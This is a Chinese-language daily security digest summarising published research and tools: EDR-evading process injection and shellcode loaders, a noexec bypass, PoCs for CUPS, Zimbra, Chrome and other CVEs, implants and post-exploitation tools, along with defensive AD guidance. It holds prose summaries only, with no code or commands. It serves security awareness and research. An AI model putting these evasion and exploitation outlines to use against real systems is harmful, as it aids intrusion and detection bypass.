本文介绍了一种新型的进程注入技术——早期级联注入（Early Cascade Injection），分析了Windows进程创建的用户模式部分，并探讨了多个端点检测和响应系统（EDRs）如何在进程创建过程中初始化它们的检测能力。

热评

• 新型隐蔽进程注入技术：Early Cascade Injection
• 早期的级联注入：从 Windows 进程创建到隐蔽注入

关键信息点

• 早期级联注入是一种新型的进程注入技术，它通过操纵用户模式进程创建过程中的回调指针，避免了传统的跨进程APC排队，从而实现了对EDR的逃避。
• 传统的Early Bird APC注入技术可能对现代EDR系统不再有效，因为EDR系统已经开始更早地加载其检测措施。
• EDR-Preloading技术展示了如何通过修改回调指针来在进程创建时执行代码，但它的执行受到加载器锁的限制。
• 早期级联注入利用了ShimGlobalOptions回调指针，该指针不受加载器锁的限制，允许在进程初始化早期阶段执行代码。

🏷️: EDR, 进程注入, Windows, 安全检测, 技术

0x0c 克隆克隆器：构建自定义RFID克隆设备

作者在尝试构建一个长距离RFID克隆器，经过一系列的测试和调试，最终通过使用一个更强大的电源解决方案，成功增加了克隆器的读取距离。

热评

关键信息点

• 电源问题是影响RFID克隆器性能的关键因素：作者通过一系列的实验和测试，确定了电源问题是导致RFID读取距离不足的主要原因。
• 对电力基础知识的理解对于解决问题至关重要：作者强调了对电压、电流和电阻的理解对于成功构建和调试硬件项目的重要性。
• 实践和迭代是解决问题的关键：作者通过不断尝试和调整，逐步解决了问题，这凸显了实践和迭代在硬件黑客中的重要性。
• 合适的电源设备对于项目的成功至关重要：最终，通过使用一个更适合项目需求的高功率USB电池包，作者成功解决了读取距离的问题。

🏷️: RFID, 硬件黑客, 克隆设备, 电子工程

0x0d Ghost：利用Fiber线程绕过EDR检测的Shellcode加载器

Ghost 是一个旨在绕过端点检测和响应（EDR）多种检测能力的 shellcode 加载器项目。

热评

• Ghost：一款绕过EDR检测的Shellcode加载器
• Ghost：绕过EDR检测的Shellcode加载器

关键信息点

• 利用纤程线程避免内核回调的检测。
• 通过堆栈欺骗技术逃避堆栈展开检测。
• 采用内存填充和随机放置技术减少内存扫描的效果。
• 实施多种辅助绕过技术，如停用 ETW、自定义 API 哈希和利用资源隐藏。

🏷️: Shellcode, 内存, 内核, 检测, Fiber线程

0x0e 绕过noexec限制执行任意二进制文件

本网页介绍了一种在Linux系统上绕过noexec限制，实现无文件执行的技术，通过使用Bash进行系统调用，将ELF可执行文件直接从互联网流式传输到Bash的地址空间，而不需要写入硬盘或依赖ptrace()或mmap()。

热评

• 无需执行权限，利用BASH或PHP执行任意后门
• 绕过 noexec 执行任意二进制文件

关键信息点

• 文件执行技术可以在没有执行权限的环境中运行可执行文件，这对于那些没有写入权限或者在noexec环境中工作的攻击者来说是一个有用的手段。
• 传统的文件执行方法可能会因为系统安全限制而失效，如noexec挂载标志或ptrace禁用，而本文提出的方法可以绕过这些限制。
• 使用Bash进行系统调用的方法具有创新性，它不需要依赖于传统的mmap(2)或ptrace(2)调用，而是直接将二进制文件流式传输到进程的地址空间。
• Perl和PHP变体提供了更多的灵活性，它们可以在不同的环境和限制条件下使用，尤其是在容器环境中。

🏷️: noexec, shellcode, Bash, syscall, fileless execution

0x0f 通过API0cradle添加证书和GPO转储脚本

网页主要介绍了一个新增的脚本，用于导出证书信息到文本文件，并且模仿了certipy工具的输出格式。此外，还更新了一个组策略转储脚本。

热评

• ADExplorer更新：新增GPO导出脚本，方便识别异常写入权限

关键信息点

• 重用代码：脚本的开发基于项目中已有的代码，通过调整和优化实现了新的功能。
• 功能性增强：脚本能够导出证书信息，并且解析了ACL等高级信息，增强了工具的功能性。
• 格式模仿：输出的文本文件格式模仿了certipy工具，可能为了保持用户的熟悉度和兼容性。
• 贡献与分享：作者希望这些脚本对社区有用，并通过GitHub的拉取请求机制与社区分享。

🏷️: ADExplorerSnapshot, Pull Request, 证书, 脚本, GPO转储

0x10 微信MMTLS加密协议安全性分析

The Citizen Lab 对 WeChat 的主要网络安全协议 MMTLS 进行了深入分析，发现了多个安全和隐私问题，并对 WeChat 的网络请求加密流程、MMTLS 的无线格式、加密过程以及业务层加密进行了详细的技术描述和分析。

热评

• 微信加密协议漏洞：美国情报机构可能从中获益？
• 微信网络加密协议存在安全漏洞

关键信息点

• MMTLS 的安全问题：MMTLS 存在多个安全问题，如缺乏前向保密性、使用确定性 IV、以及业务层加密的漏洞，这些问题可能导致数据被破解。
• 开源组件的使用：WeChat 在其应用程序中使用了 OpenSSL 和 Tencent Mars 等开源组件，但在加密方面的自定义修改可能降低了安全性。
• 中国应用的加密趋势：中国应用程序往往偏好使用自研加密系统，而不是标准的加密协议，这可能会导致安全性和性能的问题。
• NewDNS 系统的潜在目的：WeChat 的 NewDNS 系统可能是为了绕过 DNS 劫持，但其安全性和隐私性尚未得到充分的分析和验证。

🏷️: WeChat, MMTLS, 加密协议, TLS, 安全分析

2024-10-10 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20241010获取图文评论版pdf

目录

0x01 【2024-0927】CUPS打印系统漏洞报告泄露
0x02 【2024-0927】CUPS漏洞快速概念验证
0x03 【2024-0927】恶意软件虚拟化在EDR时代的逃避策略
0x04 【2024-0927】利用ProxyNotShell后的Exchange PowerShell：无参数构造函数
0x05 【2024-0927】中国防火墙引发的漏洞问题
0x06 【2024-0928】通过RPC调用Google Chrome提升服务解密App绑定密钥
0x07 【2024-0928】Supermicro 系统漏洞 CVE-2024-36435 的 PoC 工具
0x08 【2024-0929】Office URI方案中的NTLMv2哈希捕获漏洞
0x09 【2024-0929】检测和缓解Active Directory的妥协
0x0a 【2024-0929】CVE-2024-6769：利用激活缓存漏洞从中等权限提升至高权限
0x0b 【2024-0929】Zimbra邮件平台远程命令执行漏洞（CVE-2024-45519）
0x0c 【2024-1009】Ruby-SAML库中的GitLab认证绕过漏洞分析
0x0d 【2024-1009】通过iTunes利用的Windows本地权限提升漏洞
0x0e 【2024-1009】Zimbra Postjournal漏洞利用指南
0x0f 【2024-1009】PrintNightmare漏洞仍未解决
0x10 【2024-1009】C#程序查找Windows Defender文件夹排除项
0x11 【2024-1009】TeamViewer漏洞利用：非特权用户加载任意内核驱动
0x12 【2024-1009】识别常见EDR进程和服务的工具Invoke-EDRChecker
0x13 【2024-1009】基于Socks5代理的Windows管理员级植入工具包
0x14 【2024-1009】CVE-2024-38816 路径遍历漏洞概念验证
0x15 【2024-1010】Pwnlook：一款控制Outlook应用的攻击后利用工具
0x16 【2024-1010】利用Visual Studio转储文件的CVE-2024-30052漏洞

0x01 CUPS打印系统漏洞报告泄露

CUPS系统的多个组件存在漏洞，可能导致远程代码执行。

热评

关键信息点

• CUPS打印系统的漏洞可能导致严重的安全风险，包括远程代码执行。
• 漏洞利用的方式包括通过UDP端口631接收任何来源的自定义数据包，以及通过mDNS广播。
• 受影响的系统包括多种GNU/Linux发行版、Google ChromeOS和大多数BSD系统。
• 漏洞的根本原因在于CUPS打印机发现机制（cups-browsed）和其他CUPS系统组件没有对外部输入进行足够的消毒和验证。

🏷️: CUPS, 漏洞, 泄露, OpenPrinting, GitHub

0x02 CUPS漏洞快速概念验证

Cupshax 网页提供了一个针对最近 CUPS 漏洞的快速概念验证（PoC），该漏洞允许远程代码执行。

热评

• CUPS 漏洞允许 Linux 远程代码执行

关键信息点

• Cupshax 是针对 CUPS 漏洞的一个快速开发的 PoC 工具。
• 该工具的开发受到了公开的 OpenPrinting CUPS 仓库中的一个提交的启发，但由于 embargo 提前结束，工具代码相对仓促。
• Cupshax 依赖于 dns-sd 打印机发现，需要目标设备与攻击者在同一网络中。
• 利用工具使用了 zeroconf 和 ippserver，可以通过 pip 安装。

🏷️: CUPS, 漏洞, 技术细节, PoC, dns-sd

0x03 恶意软件虚拟化在EDR时代的逃避策略

網頁主要介述了在端點检测和响应(EDR)技術日益先进的情况下，紅隊如何通過恶意软件虚拟化技術來实现对EDR系统的逃避。

热评

• EDR时代下的红队攻击：利用恶意软件虚拟化逃避端点检测
• EDR 时代下的红队攻击：利用恶意软件虚拟化绕过终端检测

关键信息点

• 随着EDR系统的不断提升，攻击者需要不断改进他们的方法来逃避检测。
• 传统的杀毒Signature检测已不再有效，打包器和多态引擎出现了，但它们也面临着被检测的问题。
• 恶意软件的虚拟化能够有效地隐藏攻击者的真实intent和code flow，通过这种方式来逃避EDR的检测。
• 使用自定义虚拟机和Bytecode可以实现恶意软件的高度定制和逃避检测的能力。

🏷️: 恶意软件, EDR, 虚拟化, 逃避策略, 网络安全

0x04 利用ProxyNotShell后的Exchange PowerShell：无参数构造函数

本文详细介绍了 PowerShell Remoting 中的 ConvertViaNoArgumentConstructor 转换机制，并展示了如何利用这一机制发现三个新的 Exchange 漏洞，分别是 XXE 文件读取、NTLM 中继以及对 CVE-2023-36035 的部分绕过。

<<<左右滑动见更多 >>>

热评

关键信息点

• ConvertViaNoArgumentConstructor 的强大能力：这一转换机制允许攻击者通过允许的类型的成员进行反序列化，即使这些成员的类型不在允许列表上。这显著扩大了攻击面。
• 成员反序列化的风险：即使成员没有公共 setter，或者有 setter 但不是公共的，反序列化过程仍然会发生。
• 微软对 NTLM 中继的态度：微软认真对待 Exchange 中的 NTLM 中继漏洞，因为它可能导致权限提升。
• 安全加固的挑战：即使在对 PowerShell Remoting 进行加固后，仍然存在利用允许的类型成员进行攻击的漏洞。

🏷️: Exchange, PowerShell, 漏洞利用, 网络安全, ProxyNotShell

0x05 中国防火墙引发的漏洞问题

Assetnote 发现并研究了一种由中国防火长城引起的 DNS 污染问题，该问题可能影响数百万个域名，并可能导致子域名接管和其他安全风险。

<<<左右滑动见更多 >>>

热评

• 中国域名DNS污染影响3000万+域名，PrettyRecon可查询受影响域名
• DNS 污染影响数千万域名：研究揭示中国域名服务器风险

关键信息点

• DNS 污染问题：中国防火长城通过篡改 DNS 查询结果，导致域名解析到随机或特定的 IP 地址，这种行为可能是出于审查目的。
• 影响范围广泛：受影响的域名不仅限于 .cn 顶级域名，任何通过中国基础设施路由的域名都可能受到影响。
• 关键词触发：DNS 污染行为似乎基于子域名中的关键词触发，这些关键词与中国审查的内容相关联。
• 安全风险：这种 DNS 污染可能导致子域名接管、XSS 攻击以及其他安全问题。

🏷️: 防火墙, 漏洞, DNS, 攻击, 中国

0x06 通过RPC调用Google Chrome提升服务解密App绑定密钥

该网页提供了一个Proof-of-Concept (PoC) 示例，用于通过对 Google Chrome Elevation Service 的远程过程调用 (RPC) 来解密应用程序绑定的加密密钥。

热评

• 绕过App-Bound Chromium 加密：最小 PoC 示例
• Chromium 应用绑定加密被绕过，PoC 可解密 Local State 密钥

关键信息点

• Google Chrome Elevation Service 可以通过 RPC 调用来解密应用程序绑定的加密密钥。
• 通过提供的 C++ 代码，可以实现对存储在文件中的加密密钥进行解密的操作。
• 这个 PoC 展示了如何与 Elevation Service 进行交互，包括如何调用其提供的接口来执行解密操作。
• 代码中使用了 COM 技术和 Windows 特有的安全机制，如 CoInitializeEx、CoCreateInstance 和 CoSetProxyBlanket。

🏷️: Google Chrome, 加密, RPC调用, 安全漏洞, PoC

0x07 Supermicro 系统漏洞 CVE-2024-36435 的 PoC 工具

网页提供了一个名为 CVE-2024-36435.py 的 PoC（Proof of Concept）工具，用于展示 Supermicro 设备中的一个安全漏洞。

热评

• 公开的 PoC 利用漏洞执行任意命令

关键信息点

• GitHub 仓库中的 CVE-2024-36435.py 文件是一个用于展示 Supermicro 设备漏洞的 PoC 工具。
• 该工具与 Supermicro 硬件的 CVE-2024-36435 漏洞相关。
• 网页显示了最新的提交记录，包括代码更新的细节和统计信息。
• 用户尝试执行某个操作时遇到了限制，这可能是由于权限不足、操作限制或其他技术问题。

🏷️: CVE-2024-36435, Supermicro, PoC, 漏洞, 网络安全

0x08 Office URI方案中的NTLMv2哈希捕获漏洞

网页主要介绍了 CVE-2024-38200 漏洞，该漏洞利用 Office URI 方案和 NTLM 认证机制，通过 HTTP 302 重定向到 UNC 路径，捕获 NTLMv2 哈希值，进而可能导致 NTLM Relaying 攻击，甚至可能在默认配置下通过两次点击就能获取域控制器权限。

<<<左右滑动见更多 >>>

热评

• 微软Office NTLMv2 漏洞 CVE-2024-38200 披露与 PoC
• 微软Office NTLMv2 漏洞 CVE-2024-38200 披露与 PoC

关键信息点

• Office URI 方案可以被利用来捕获 NTLMv2 哈希值，这可能导致对域控制器的 NTLM Relaying 攻击。
• 利用 HTTP 302 重定向到 UNC 路径的方法，可以在用户无意中的情况下捕获哈希值。
• GPO 设置和 DNS 记录欺骗可以迫使 Office 应用程序进行自动认证，这使得哈希捕获更加容易。
• 浏览器的信任区域设置对 NTLM 认证行为有重要影响，攻击者可以利用这一点来实现自动认证。

🏷️: CVE, Office, URI, NTLMv2, 哈希

0x09 检测和缓解Active Directory的妥协

本网页主要介绍了如何检测和减轻针对微软Active Directory（AD）的攻击手段，包括Kerberoasting、AS-REP Roasting、密码喷雾、机器账户配额滥用、无约束委派、AD证书服务（AD CS）滥用、DCSync、ntds.dit转储、金票据、银票据以及金SAML等技术，并提供了相应的缓解策略和检测方法。

热评

• Active Directory安全指南：防御和检测攻击

关键信息点

• Active Directory是攻击者的主要目标：由于其在企业IT网络中的核心作用，Active Directory经常成为攻击者的目标。
• 安全配置和监控是关键：通过合理配置AD组件、使用强密码、限制权限和监控异常活动，可以显著降低攻击风险。
• 多因素认证（MFA）的重要性：MFA可以有效阻止许多攻击技术，如密码喷雾和无约束委派。
• 定期更改KRBTGT密码：为了防止Golden Ticket攻击，应定期更改KRBTGT账户的密码。

🏷️: Active Directory, 网络安全, 妥协检测, 缓解措施

0x0a CVE-2024-6769：利用激活缓存漏洞从中等权限提升至高权限

该网页详细介绍了利用DLL劫持和激活上下文缓存中毒攻击两个链式漏洞，从中等完整性级别提升到高完整性级别，进而实现本地提权攻击的技术细节和步骤。

<<<左右滑动见更多 >>>

热评

关键信息点

• DLL劫持和激活上下文缓存中毒是提升权限的有效手段：通过这两个漏洞，攻击者可以从中等完整性级别提升到高完整性级别，并获得与管理员相同的权限。
• 激活上下文缓存中毒利用了CSRSS服务器的机制：攻击者可以通过构造恶意的激活上下文消息，使CSRSS服务器接受并使用恶意的XML清单，从而控制DLL的加载路径。
• ALPC攻击矢量是中毒激活缓存的关键：ALPC提供了一种跨进程通信的机制，攻击者可以利用它直接与CSRSS服务器通信，实现缓存中毒。
• 攻击者需要绕过安全检查以成功执行提权：文章中提到了微软在2022年10月的更新中增加的RID检查，攻击者需要找到方法绕过这些检查以确保提权攻击的成功。

🏷️: CVE-2024-6769, 激活缓存, DLL劫持, 权限提升, Ekoparty 2023

0x0b Zimbra邮件平台远程命令执行漏洞（CVE-2024-45519）

Zimbra 邮件和协作平台修复了一个严重的远程命令执行漏洞（CVE-2024-45519），该漏洞允许未认证攻击者在受影响的 Zimbra 安装上执行任意命令。

<<<左右滑动见更多 >>>

热评

• Zimbra 远程命令执行漏洞 CVE-2024-45519
• Zimbra 远程命令执行漏洞 CVE-2024-45519

关键信息点

• 及时打补丁至关重要：文章强调了应用安全更新的紧迫性，以防止恶意攻击者利用已知漏洞。
• 漏洞分析和利用：通过反汇编和动态分析，作者详细说明了如何分析补丁和利用漏洞。
• 配置管理：正确配置 zimbraMtaMyNetworks 参数对于防止未授权访问和远程利用至关重要。
• 安全工具的使用：Nuclei 等安全工具可以帮助自动化漏洞检测，提高安全防御。

🏷️: Zimbra, 远程命令执行, CVE-2024-45519, 漏洞分析, 安全更新

0x0c Ruby-SAML库中的GitLab认证绕过漏洞分析

网页主要分析了 CVE-2024-45409 漏洞，这是一个影响 Ruby-SAML 和 OmniAuth-SAML 库的关键漏洞，可以绕过 SAML 认证机制，允许攻击者通过利用对 SAML 响应中数字签名的处理不当来获取未授权访问。

热评

• GitLab 身份验证绕过漏洞（CVE-2024-45409）
• GitLab 存在 SAML 身份验证绕过漏洞 CVE-2024-45409

关键信息点

• SAML 协议的安全性依赖于对断言的数字签名和摘要的正确验证。这些验证确保了数据在传输过程中未被篡改。
• Ruby-SAML 库中的一个 XPath 选择器漏洞允许攻击者绕过签名验证。攻击者可以在 SAML 响应中的任意位置插入一个 DigestValue 元素，从而迷惑验证过程。
• GitLab 在描述漏洞时存在信息不准确的问题。文章指出，GitLab 的描述误导人们认为成功利用漏洞需要多个断言，而实际上只需要一个断言即可。
• 提供了一个 Nuclei 模板来检测 CVE-2024-45409 漏洞。这个模板可以帮助安全研究人员快速识别是否存在此类漏洞。

🏷️: GitLab, SAML, 认证绕过, 漏洞分析, 数字签名

0x0d 通过iTunes利用的Windows本地权限提升漏洞

网页内容主要介绍了 CVE-2024–44193 漏洞，这是一个 iTunes 版本 12.13.2.3 的本地权限提升 0-day 漏洞，该漏洞允许低权限用户通过操纵 AppleMobileDeviceService.exe 服务，实现任意代码执行，并获取 SYSTEM 权限。

<<<左右滑动见更多 >>>

热评

• iTunes 0day 漏洞可导致 Windows 本地提权
• iTunes 0day 漏洞可导致 Windows 本地提权

关键信息点

• CVE-2024–44193 漏洞利用了 AppleMobileDeviceService.exe 服务的安全漏洞，该服务在启动时会删除 C:\\ProgramData\\Apple\\Lockdown\\ 目录下的非法文件和文件夹，但没有正确管理用户权限，导致普通用户可以写入该目录，进而实现权限提升。
• 利用该漏洞的关键在于结合 NTFS 硬链接和服务重启，攻击者可以实现任意文件或文件夹的删除，进而提升到 SYSTEM 权限，执行任意代码。
• 文章中提到的 FilesystemEoPs 和 FolderOrFileDeleteToSystem 等工具是实现利用链的重要组成部分，它们分别负责文件和文件夹的操作，以及恶意代码的执行。
• 通过这次漏洞的分析，揭示了 iTunes 安装在 Windows 系统上的安全问题，并提供了一个详细的权限提升技术，这对于恶意软件作者和漏洞防御者都具有重要意义。

🏷️: CVE-2024-44193, iTunes, 本地权限提升, 漏洞, Apple

0x0e Zimbra Postjournal漏洞利用指南

CVE-2024-45519 是 Zimbra Collaboration (ZCS) 中的一个漏洞，允许未认证用户通过 postjournal 服务执行命令，该网页提供了搭建实验室环境并利用此漏洞的步骤指南。

热评

• CVE-2024-45519 漏洞利用与实验环境搭建
• Zimbra 远程命令执行漏洞 CVE-2024-45519

关键信息点

• CVE-2024-45519 漏洞严重影响 Zimbra Collaboration Suite 的安全性，允许未认证攻击者执行任意命令。
• 搭建实验室环境需要在 Ubuntu 20.04.6 LTS 上操作，并且要求严格按照指南进行，包括安装、配置和服务管理。
• 利用此漏洞的过程需要准备相应的利用脚本，并且要确保目标系统的 IP 地址和端口号正确。
• 文章提供的信息旨在用于教育和合法的安全测试，严禁在未经授权的系统上使用。

🏷️: CVE-2024-45519, Zimbra, 漏洞利用, 网络安全

0x0f PrintNightmare漏洞仍未解决

该网页讨论了PrintNightmare漏洞的持续影响，并探讨了Point and Print (PnP)配置的保护措施以及这些措施可能存在的绕过方法。

<<<左右滑动见更多 >>>

热评

• 绕过限制，低权限用户也能安装漏洞驱动程序提升权限
• Mod0 Red Team 发现 PrintNightmare 漏洞绕过方法

关键信息点

• PrintNightmare漏洞的安全限制可以被绕过：尽管有多种安全措施，但通过DNS欺骗等方法仍然可以攻击PnP配置。
• UNC Hardened Access不足以阻止攻击：虽然硬化UNC路径可以提供额外的安全性，但攻击者可以通过使用本地路径来绕过。
• RPC over named pipe的保护不可靠：即使重新启用了RPC over named pipes，攻击者仍然可以通过RPC over TCP fallback来进行攻击。
• Print Driver exclusion list方法存在缺陷：这种方法实施起来复杂，且安全性不足，因为它基于一个“阻止列表”而非“允许列表”。

🏷️: PrintNightmare, 打印机, 安全漏洞, PnP, RPC

0x10 C#程序查找Windows Defender文件夹排除项

SharpExclusionFinder 是一个 C# 程序，用于通过 Windows Defender 的命令行工具检测文件夹排除项，支持递归扫描和多线程处理，并能将结果和错误信息记录到指定文件中。

热评

• 使用MpCmdRun.exe检查文件夹是否被Windows Defender排除
• C# 程序使用 Windows Defender 命令行工具查找排除文件夹

关键信息点

• 安全研究：SharpExclusionFinder 是为安全研究人员设计的，帮助他们发现系统中的 Windows Defender 排除项，这对于恶意软件分析和安全评估非常重要。
• 递归扫描与多线程：程序支持递归扫描目录，可以设置扫描深度，并且利用多线程技术提高扫描效率。
• 日志记录：程序能够将扫描结果和错误信息详细记录到用户指定的日志文件中，便于后续分析。
• 无需管理员权限：该工具的设计允许在不需要管理员权限的情况下进行扫描，降低了使用门槛。

🏷️: C#, Windows Defender, 文件夹排除项, 多线程扫描

0x11 TeamViewer漏洞利用：非特权用户加载任意内核驱动

该网页揭示了TeamViewer中的两个漏洞（CVE-2024-7479和CVE-2024-7481），这些漏洞允许未授权用户将任意内核驱动程序加载到系统中，从而实现权限提升。

热评

• TeamViewer 漏洞 CVE-2024-7479 & CVE-2024-7481 可加载任意内核驱动
• TeamViewer 漏洞 CVE-2024-7479 和 CVE-2024-7481 允许内核提权

关键信息点

• TeamViewer的两个安全漏洞（CVE-2024-7479和CVE-2024-7481）允许未授权的权限提升。
• 这些漏洞的存在是由于TeamViewer在处理客户端与SYSTEM服务之间的IPC通信时，未能验证驱动程序的真实性和签名。
• 利用这些漏洞的方法包括BYOD技术，通过模拟TeamViewer客户端来加载有效签名的驱动程序，并执行提升权限的操作。
• TeamViewer的某些安全检查只在GUI层面有效，而通过IPC可以绕过这些检查。

🏷️: CVE, 漏洞利用, TeamViewer, 内核驱动, 安全披露

0x12 识别常见EDR进程和服务的工具Invoke-EDRChecker

网页主要介绍了一个用于识别常见端点检测和响应（EDR）进程、目录和服务的工具Invoke-EDRChecker的简单背景信息和功能。

热评

• EDR 检测工具：Invoke-EDRChecker
• 识别 EDR 进程、目录和服务：Invoke-EDRChecker 简易 BOF

关键信息点

• Invoke-EDRChecker 是一个用于识别EDR软件的工具，它能够检测EDR相关的进程、目录和服务。
• 该工具是对开源项目Invoke-EDRChecker的扩展，提供了额外的功能或改进。
• 网页强调了识别EDR软件的重要性，这对于维护系统安全和进行安全研究至关重要。
• 通过提供对原始项目的引用，网页鼓励用户了解和使用开源工具，同时也提供了进一步学习和研究的资源。

🏷️: EDR, Invoke-EDRChecker, 网络安全, 进程识别, 服务识别

0x13 基于Socks5代理的Windows管理员级植入工具包

IllusiveFog 是一个基于 Socks5 Proxy 的 Windows 高级植入工具包，用纯 Python 2.7、C 和 C++ 编写，旨在为 Microsoft Windows 网络提供长期隐蔽的访问和侦察功能。

热评

• IllusiveFog：一款用于 Windows 网络的隐蔽植入工具
• Windows 管理员级别后门植入

关键信息点

• 安全与隐私：IllusiveFog 的设计侧重于长期和隐蔽地维持对 Windows 网络的访问，显示了对隐私和安全性的重视。
• 教育目的：项目创建者强调该工具的教育价值，鼓励用户通过学习 Windows 内部和检测机制来提升自身技能。
• 开源精神与责任：IllusiveFog 作为一个开源项目，遵循 MIT 许可证，同时明确表示创建者不对项目的使用负责，强调用户的责任。
• 技术挑战：项目可能包含需要反向工程的代码部分，这为研究人员和爱好者提供了技术挑战，同时也可能作为对手的一种防御机制。

🏷️: Socks5, Windows, 植入工具, Python, C++

0x14 CVE-2024-38816 路径遍历漏洞概念验证

CVE-2024-38816 网页提供了一个针对 Spring Boot 3.0.13 和 Spring Framework 6.0.3 版本的路径遍历漏洞的概念验证（PoC），通过 Docker 环境演示了漏洞的利用过程，并指出了漏洞的修复版本和可能的成功攻击条件。

热评

• Spring 框架路径遍历漏洞 CVE-2024-38816
• Spring框架发现路径穿越漏洞 CVE-2024-38816

关键信息点

• 漏洞验证: 通过 Docker 环境中的 Spring Boot 应用程序，演示了 CVE-2024-38816 漏洞的验证过程，包括构建镜像、运行容器、执行 PoC 命令，并通过文件内容的显示来确认漏洞。
• 修复和问题: 漏洞在 Spring Framework 6.1.13 版本中得到了修复。分析显示，漏洞可能与新增符号链接选项和修改了处理 %-编码字符的代码的两个问题有关。
• 攻击条件: 成功利用漏洞的攻击可能需要满足特定的功能使用、符号链接存在以及 %-编码字符的使用等条件。
• 教育和研究用途: PoC 旨在教育和安全研究目的，强调在实际系统中使用之前确保漏洞已修复且有适当授权，并对滥用代码不承担责任。

🏷️: CVE, Spring Boot, 路径遍历, PoC, Docker

0x15 Pwnlook：一款控制Outlook应用的攻击后利用工具

Pwnlook 是一款针对 Outlook 桌面应用程序的后期利用工具，能够提供对邮箱的完整控制，包括列出邮箱、文件夹、邮件信息，读取邮件、搜索邮件以及下载附件等功能。

热评

• Pwnlook: 攻击者可完全控制Outlook桌面应用
• pwnlook: 攻击后利用工具，完全控制 Outlook 桌面应用

关键信息点

• Pwnlook 是一个专门针对 Outlook 桌面应用程序的后期利用工具，它能够提供对配置在其中的电子邮件的完整控制。
• 该工具的功能包括但不限于列出邮箱、文件夹、邮件信息，读取邮件、搜索邮件以及下载附件。
• Pwnlook 使用 .NET 4.8.1 编写，需要在编译时注册 DLL 文件，但在执行时不需要。
• 通过使用 Redemption 库和 COM，Pwnlook 能够在不触发用户警报的情况下收集信息。

🏷️: 攻击后利用, Outlook, 邮件控制, 网络安全

0x16 利用Visual Studio转储文件的CVE-2024-30052漏洞

网页主要介绍了 CVE-2024-30052 漏洞，该漏洞允许在 Visual Studio 调试内存转储文件时执行任意代码，攻击者可以通过嵌入恶意源代码文件到 PDB 文件中，利用 Visual Studio 对特定扩展名文件的默认处理行为来实现代码执行。

<<<左右滑动见更多 >>>

热评

• Visual Studio 漏洞 CVE-2024-30052 允许通过转储文件进行利用
• Visual Studio 漏洞 CVE-2024-30052 利用：通过转储文件攻击

关键信息点

• Visual Studio 在处理内存转储文件时，对于嵌入式 PDB 文件中的源代码文件没有进行充分的安全检查，这可能导致任意代码执行。
• 攻击者可以通过将恶意代码嵌入到 PDB 文件中的源代码文件中，并利用 Visual Studio 对特定文件扩展名的处理行为，来实现代码执行。
• 微软最初低估了这个漏洞的严重性，但后来认识到了其潜在的危险，并进行了修复。
• 这个漏洞的存在强调了开发者在处理来自不可信来源的内存转储文件时需要保持警惕的重要性。

🏷️: CVE-2024-30052, Visual Studio, 漏洞利用, 代码执行, 调试

2024-08-19 「红蓝热点」每天快人一步

1. 推送「新、热、赞」，帮部分人阅读提效
2. 学有精读浅读深读，艺有会熟精绝化，觉知此事重躬行。推送只在浅读预览
3. 机读为主，人工辅助，每日数万网站，10w推特速读
4. 推送可能大众或小众，不代表本人偏好或认可
5. 因渲染和外链原因，公众号甲方安全建设发送日报或日期,如20240819获取图文评论版pdf

目录

0x01 【2024-0813】Zabbix监控解决方案发现关键RCE漏洞
0x02 【2024-0813】Google Chrome 远程代码执行漏洞
0x03 【2024-0814】Chrome渲染器中的对象转换至远程代码执行漏洞分析
0x04 【2024-0814】远程禁用Windows事件日志的0day漏洞及免费微补丁
0x05 【2024-0814】揭秘#GrimResource：滥用MSC文件格式
0x06 【2024-0814】NTLM Relay攻击：网络入侵的终极手段
0x07 【2024-0815】Android Jetpack导航库深层次安全漏洞
0x08 【2024-0815】Lil Pwny 3.2.0更新：优化Active Directory密码审计
0x09 【2024-0816】利用UDL文件进行网络钓鱼攻击的新技术
0x0a 【2024-0816】Copy2Pwn漏洞绕过Windows网络保护
0x0b 【2024-0816】结合历史泄露与CSS的水坑攻击
0x0c 【2024-0816】GitHub项目ggerganov/llama.cpp中的rpc_server::get_tensor功能存在任意地址读取漏洞
0x0d 【2024-0818】恶意签名注入：利用Evil Signatures远程删除数据库和邮箱
0x0e 【2024-0818】Python脚本模拟IPv6数据包处理漏洞
0x0f 【2024-0819】BounceBack：红队操作安全的隐蔽重定向工具
0x10 【2024-0819】SpoofDPI：一款快速绕过深度包检测的软件
0x11 【2024-0819】CVE-2024-7646：Ingress-NGINX注解验证绕过漏洞深度解析
0x12 【2024-0819】Linux内核修复Landlock安全漏洞
0x13 【2024-0819】Windows Secure Channel RCE漏洞CVE-2024-38148详解

0x01 Zabbix监控解决方案发现关键RCE漏洞

Zabbix监控解决方案发现了一个关键的远程代码执行（RCE）漏洞（CVE-2024-22116），该漏洞评分为CVSS 9.9，可能导致系统完全妥协。

热评

• 「编者注」:后台漏洞，低权限用户提权场景可用. 高权限用户可以直接写脚本执行命令的.
• Zabbix 监控系统发现严重 RCE 漏洞 CVE-2024-22116

关键信息点

• Zabbix的广泛采用和灵活性增加了安全风险：作为一个流行的监控工具，Zabbix的广泛应用和能够监控各种IT资源的能力，虽然提供了高度的灵活性，但同时也增加了安全风险。
• CVE-2024-22116漏洞的严重性：该漏洞被评为CVSS 9.9分，表明其对组织的潜在影响极大。如果不加修补，可能导致系统完全妥协。
• 受影响的Zabbix版本和修复版本：受影响的版本包括6.4.0至6.4.15和7.0.0alpha1至7.0.0rc2，已在6.4.16rc1和7.0.0rc3版本中修复。
• 升级至最新版本的紧急性：管理员应立即升级到修复版本以防止漏洞被利用。

🏷️: 漏洞, Zabbix, RCE, 网络安全

0x02 Google Chrome 远程代码执行漏洞

Google Chrome 存在一个远程代码执行（RCE）漏洞，由于 WASM 类型不一致和 JS-to-WASM 转换过程中的类型混淆，可能导致任意 WASM 类型之间的类型混淆。

热评

• 「编者注」:chrome 123版本前的rce, 带poc
• Chrome 浏览器出现 RCE 漏洞，可导致任意代码执行

关键信息点

• WASM 类型规范化机制存在设计缺陷，导致在不同模块间的类型比较可能出现类型混淆。
• JS-to-WASM 转换过程中的类型检查机制不够严格，容易被攻击者利用来绕过类型检查。
• PartitionAlloc 被认为是 v8 堆沙箱逃逸的一个未被充分关注的攻击向量，尽管它不在 v8 指针压缩笼子的 4GB 范围内，但仍然容易被攻击者利用。
• 攻击者可以通过修改 PartitionAlloc 元数据来实现地址泄露，并通过这个漏洞实现任意地址写入，进而完全控制受害者的系统。

